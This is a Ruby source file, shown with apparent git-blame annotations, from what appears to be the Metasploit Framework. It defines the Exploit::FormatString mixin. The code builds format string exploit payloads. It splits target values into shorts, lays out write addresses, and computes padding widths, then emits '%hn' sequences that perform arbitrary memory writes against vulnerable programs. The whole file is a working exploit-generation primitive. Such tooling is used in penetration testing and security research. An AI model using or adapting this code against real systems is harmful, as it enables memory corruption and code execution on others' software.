2009-11-17 22:14:44 +00:00
|
|
|
module Msf
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# This mixin provides a interface to generating format string exploits
|
|
|
|
# in a more intelligent way.
|
|
|
|
#
|
|
|
|
# Author: jduck
|
|
|
|
# $Id$
|
|
|
|
###
|
|
|
|
|
|
|
|
module Exploit::FormatString
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates an instance of a format string exploit
|
|
|
|
#
|
|
|
|
def initialize(info = {})
|
|
|
|
super
|
|
|
|
|
|
|
|
# Register an advanced option that allows users to specify whether or
|
|
|
|
# not to use direct parameter access
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptBool.new('SupportDPA', [ false, "Force Direct Parameter Access (DPA) on.", false ])
|
|
|
|
], Msf::Exploit::FormatString)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generates a format string that will perform an arbitrary write using
|
|
|
|
# two separate short values
|
|
|
|
#
|
2009-11-17 23:30:17 +00:00
|
|
|
def generate_fmt_two_shorts(num_printed, write_to, write_what, targ = target)
|
2009-11-17 22:14:44 +00:00
|
|
|
|
|
|
|
arr = Array.new
|
|
|
|
arr << [ write_what & 0xffff, write_to ]
|
|
|
|
arr << [ write_what >> 16, write_to + 2 ]
|
|
|
|
|
2009-11-17 23:30:17 +00:00
|
|
|
stuff = fmtstr_gen_from_array(num_printed, arr, targ)
|
2009-11-17 22:14:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generates a format string that will perform an arbitrary write using
|
|
|
|
# two separate short values
|
|
|
|
#
|
2009-11-17 23:30:17 +00:00
|
|
|
def generate_fmtstr_from_buf(num_printed, write_to, buffer, targ = target)
|
2009-11-17 22:14:44 +00:00
|
|
|
|
|
|
|
# break buffer into shorts
|
|
|
|
arr = Array.new
|
|
|
|
off = 0
|
|
|
|
if ((buffer.length % 2) == 1)
|
|
|
|
buffer << rand_text(1)
|
|
|
|
end
|
|
|
|
while off < buffer.length
|
|
|
|
# convert short to number
|
|
|
|
tb = buffer[off,2].unpack('v')[0].to_i
|
|
|
|
#print_status("%d %d %d" % [off,buffer.length,tb])
|
2009-11-17 23:30:17 +00:00
|
|
|
addr = targ['Writable'] + off
|
2009-11-17 22:14:44 +00:00
|
|
|
|
|
|
|
arr << [ tb, addr ]
|
|
|
|
off += 2
|
|
|
|
end
|
|
|
|
|
|
|
|
# now build the format string in its entirety
|
2009-11-17 23:30:17 +00:00
|
|
|
stuff = fmtstr_gen_from_array(num_printed, arr, targ)
|
2009-11-17 22:14:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generates a format string from an array of value/address pairs
|
|
|
|
#
|
2009-11-17 23:30:17 +00:00
|
|
|
def fmtstr_gen_from_array(num_printed, arr, targ = target)
|
|
|
|
npops = targ['NumPops']
|
|
|
|
npad = targ['PadBytes'] || 0
|
2009-11-17 22:14:44 +00:00
|
|
|
|
|
|
|
# sort the array -- for optimization
|
|
|
|
arr = arr.sort { |x,y| x[0] <=> y[0] }
|
|
|
|
|
|
|
|
addrs = rand_text(npad)
|
|
|
|
addrs << fmtstr_init_addrs(arr)
|
|
|
|
|
|
|
|
# here on varies for DPA
|
|
|
|
num = num_printed + npad + addrs.length + (8*npops)
|
|
|
|
off = 0
|
|
|
|
fmts = ""
|
|
|
|
|
|
|
|
arr.each do |el|
|
|
|
|
addrs[off * 8, 4] = [el[1]].pack('V')
|
|
|
|
prec = fmtstr_target_short(el[0], num)
|
|
|
|
if prec > 0
|
|
|
|
#dlog(" adding [ %#8x, %#8x, %4d, %5d ]" % (el + [prec]))
|
|
|
|
fmts << "%0" + prec.to_s + "x%hn"
|
|
|
|
else
|
|
|
|
throw "Writing sequential identical values is not currently supported."
|
|
|
|
end
|
|
|
|
num = el[0]
|
|
|
|
off += 1
|
|
|
|
end
|
|
|
|
|
|
|
|
if (bad_idx = has_badchars?(addrs, payload_badchars))
|
|
|
|
#print_status("\n" + Rex::Text.to_hex_dump(addrs))
|
|
|
|
raise BadcharError.new(addrs, bad_idx, addrs.length, addrs[bad_idx]),
|
|
|
|
"The format string address area contains invalid characters.",
|
|
|
|
caller
|
|
|
|
end
|
|
|
|
|
|
|
|
# put it all together
|
|
|
|
stuff = addrs
|
|
|
|
stuff << "%8x" * npops
|
|
|
|
stuff << fmts
|
|
|
|
|
|
|
|
return stuff
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# create a bunch of pointers to be used by the format string %n's later
|
|
|
|
#
|
|
|
|
def fmtstr_init_addrs(arr)
|
|
|
|
# 2 for every entry, except the last one
|
|
|
|
num_ptr_bytes = ((arr.length-1)*2*4) + 4
|
|
|
|
if debugging?
|
|
|
|
addrs = pattern_create(num_ptr_bytes)
|
|
|
|
else
|
|
|
|
addrs = rand_text(num_ptr_bytes)
|
|
|
|
end
|
|
|
|
return addrs
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# generate the number to be used for precision that will create
|
|
|
|
# the specified value to write
|
|
|
|
#
|
|
|
|
def fmtstr_target_short(value, num_printed)
|
|
|
|
if value < num_printed
|
|
|
|
return (0x10000 - num_printed) + value
|
|
|
|
end
|
|
|
|
return value - num_printed
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the index of any bad characters found in the supplied buffer.
|
|
|
|
# (NOTE: copied from encoder.rb)
|
|
|
|
#
|
|
|
|
def has_badchars?(buf, badchars)
|
|
|
|
badchars.each_byte { |badchar|
|
|
|
|
idx = buf.index(badchar.chr)
|
|
|
|
|
|
|
|
if (idx != nil)
|
|
|
|
return idx
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|